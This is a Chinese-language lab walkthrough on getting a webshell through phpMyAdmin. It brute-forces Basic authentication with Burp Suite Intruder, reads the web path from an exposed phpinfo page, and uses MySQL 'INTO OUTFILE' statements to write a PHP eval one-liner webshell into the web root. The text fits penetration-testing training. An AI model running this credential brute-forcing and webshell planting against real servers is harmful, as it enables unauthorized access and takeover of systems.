之前的两篇WEBSHELL姿势谈到了两种拿SHELL的方法(上传+解析漏洞、http-put/move方法),当然有时最简单的时候就是上传无限制,或者通过改filename后缀实现。这次我们要实验的就是通过phpMyAdmin来实现。
一般来说要利用SQL来实现一句话,有如下几种情况:
1.存在sql注入,在没有字符处理时可直接写入一句话(如Select ' php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/shell.php');
2.利用phpMyAdmin写入一句话(前提登录phpMyAdmin)
3.其次利用注入登录应用系统,发现应用系统的其它漏洞,完成getshell。
0x00 实验环境
1.一个安装phpMyAdmin的windows环境
2.使用工具burpsuit(可使用其他相关工具替换)
0x01 发现phpMyAdmin
输入ip,我们发现应用是一个后台登录系统,使用burpsuit代理并将目标网站发送至spider进行网页爬取,在target中查看网站目录(适当调整fitler可显示多个目录)
0x02 暴力破解
我们访问目标网站http://10.1.1.10/phpMyAdmin,发现它需要认证(basic认证)
我们先尝试一下密码,并使用burpsuit查看发送的包信息
其中,YWRtaW46MTIzNDU2就是我们输入的用户名和密码BASE64格式,解码后为:admin:123456
我们直接把数据包发送至intruder模块就行暴力破解,配置如下:
1.仅设置YWRtaW46MTIzNDU2为payload maker
2.设置payload type为Custom iterator
3.通过load加载常用用户名进position1列表,配置position separator为:(冒号)
4.切换到position2,通过load加载常用口令进position2列表
5.在payload process中添加Encode-Base64 encode
6.start attack.
通过status,我们定位到一个200 OK的包,解码得到root:1234567890,登录
0x03 写入一句话
在写一句话之前,我们要先了解mysql写文件的基本语句:
select * from test into outfile '/xxx/xxx/test.txt'
写文件我们大致了解了,但是我们还缺少应用的路径,这里我们通过暴露的phpinfo文件得到了应用路径C:/xampp/xampp/htdocs
最后我们的一句话木马sql如下:
Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES(""); //把php一句话木马插入到temp表
Select cmd from temp into out file 'C:/xampp/xampp/htdocs/shell.php'; //查询temp表中的一句话并把结果导入到shell.php
Drop TABLE IF EXISTS temp; //删除temp
#以上也可简化为:
#Select "" into outfile 'C:/xampp/xampp/htdocs/shell.php'
执行sql
0x04 菜刀
webshell至此完结,之后还可以完成提权等测试,这里就不再继续了。